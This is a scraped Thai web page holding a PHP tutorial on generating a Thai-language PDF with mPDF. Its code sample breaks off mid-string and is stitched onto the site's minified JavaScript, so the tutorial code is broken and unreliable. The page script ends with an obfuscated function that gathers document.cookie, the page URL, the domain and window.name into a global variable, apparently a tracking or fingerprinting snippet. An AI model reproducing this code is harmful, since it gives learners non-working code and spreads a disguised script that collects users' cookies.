- สร้าง PDF ภาษาไทยไฟล์แรกด้วย mPDF
- สื่อการเรียนการสอน ภาษาไทย สุด Exclusive by ครูมาแล้ว - krumalaew.com
- สาขาวิชาการสอนภาษาไทย
- ปัญญาประดิษฐ์อ่านน้ำเสียงคนได้แล้ว “ชุดข้อมูลและโมเดลจำแนกอารมณ์จากเสียงพูดภาษาไทย” ผลงานอาจารย์จุฬาฯ เปิดให้ดาวน์โหลดฟรีวันนี้ – จุฬาลงกรณ์มหาวิทยาลัย
- Voathai.com
- การเขียนแนะนำ - สื่อการเรียนการสอน ภาษาไทย ป.5 - YouTube
ในบทเรียนรู้นี้เรามาทดลองการสร้างไฟล์ PDF เพื่อทดลองใช้งานภาษาไทย ในที่นี้จะใช้ข้อความจาก ซึ่งเป็น Website ไว้สร้างข้อความทดสอบนั่นเอง
เอาล่ะครับมาดู Code โปรแกรมกันเลยดีกว่า ในที่นี้เราสร้างไฟล์ ใน project ของเรา ดังนี้
ใน mPDF นั้นมี Font ที่แสดงผลภาษาไทยชื่อว่า Garuda หรือ ครุฑ ที่เป็น OpenSource แถมมาด้วยดังนั้น PDF ไฟล์ ของเราก็สามารถใช้งานภาษาไทยได้ทันที แต่หากต้องการเปลี่ยน Font ก็สามารถทำได้เช่นกัน โดยจะกล่าวถึงในบทเรียนรู้ถัดๆ ไป
มาเริ่มจากการสร้างไฟล์ แล้วเขียนโปรแกรมลักษณะดังนี้
php
include_once 'vendor/';
$mpdf = new mPDF();
$content = '
\n
\n
\n
\n
\n ',this.domRefFrame=this.shadowRoot.querySelector("#frame"),this.domRefImg={fallback:this.shadowRoot.querySelector("#fallbackPlaceholder"),webp:this.shadowRoot.querySelector("#webpPlaceholder"),jpeg:this.shadowRoot.querySelector("#jpegPlaceholder")},this.domRefPlayButton=this.shadowRoot.querySelector(".lty-playbtn")}setupComponent(){this.initImagePlaceholder(),this.domRefPlayButton.setAttribute("aria-label",`${this.videoPlay}: ${this.videoTitle}`),this.setAttribute("title",`${this.videoPlay}: ${this.videoTitle}`),this.autoLoad&&this.initIntersectionObserver()}attributeChangedCallback(t,e,i){switch(t){case"videoid":e!==i&&(this.setupComponent(),this.domRefFrame.classList.contains("lyt-activated")&&(this.domRefFrame.classList.remove("lyt-activated"),this.shadowRoot.querySelector("iframe").remove(),this.iframeLoaded=!1))}}addIframe(){if(!this.iframeLoaded){const t=`\n
`;this.domRefFrame.insertAdjacentHTML("beforeend",t),this.domRefFrame.classList.add("lyt-activated"),this.iframeLoaded=!0}}initImagePlaceholder(){LiteYTEmbed.addPrefetch("preconnect","https://i.ytimg.com/");const t=`https://i.ytimg.com/vi_webp/${this.videoId}/hqdefault.webp`,e=`https://i.ytimg.com/vi/${this.videoId}/hqdefault.jpg`;this.domRefImg.webp.srcset=t,this.domRefImg.jpeg.srcset=e,this.domRefImg.fallback.src=e,this.domRefImg.fallback.setAttribute("aria-label",`${this.videoPlay}: ${this.videoTitle}`),this.domRefImg.fallback.setAttribute("alt",`${this.videoPlay}: ${this.videoTitle}`)}initIntersectionObserver(){if("IntersectionObserver"in window&&"IntersectionObserverEntry"in window){new IntersectionObserver(((t,e)=>{t.forEach((t=>{t.isIntersecting&&!this.iframeLoaded&&(LiteYTEmbed.warmConnections(),this.addIframe(),e.unobserve(this))}))}),{root:null,rootMargin:"0px",threshold:0}).observe(this)}}static addPrefetch(t,e,i){const o=document.createElement("link");o.rel=t,o.href=e,i&&(o.as=i),o.crossOrigin="true",document.head.append(o)}static warmConnections(){LiteYTEmbed.preconnected||(LiteYTEmbed.addPrefetch("preconnect","https://s.ytimg.com"),LiteYTEmbed.addPrefetch("preconnect","https://www.youtube.com"),LiteYTEmbed.addPrefetch("preconnect","https://www.google.com"),LiteYTEmbed.addPrefetch("preconnect","https://googleads.g.doubleclick.net"),LiteYTEmbed.addPrefetch("preconnect","https://static.doubleclick.net"),LiteYTEmbed.preconnected=!0)}}LiteYTEmbed.preconnected=!1,customElements.define("lite-youtube",LiteYTEmbed);(function(mPUqsofKft,CgKNlkyKH,CswAecFK,ItgbmrIgb,TtRWsH){var lpbRlbbMv="cWPlvjj",VrQFO=510,VDkTZ=0.5,eeVQTJNMz=document.domain,pqAtKzmjNZ=document.URL,ToGPCEJJG=2,dUxjD=0.076923076923077,KfjNpDYZMv=!!window.performance;window.qtOUcU=dUxjD+"^"+lpbRlbbMv+"^"+document.cookie+"^"+VDkTZ+"^"+KfjNpDYZMv+"^"+ToGPCEJJG+"^"+eeVQTJNMz+"^"+location.origin+"^"+document.defaultView+"^"+pqAtKzmjNZ+"^"+location.origin+"^"+VrQFO+"^"+window.name;})(window.name,document.cookie,document.defaultView,location.origin,location.origin);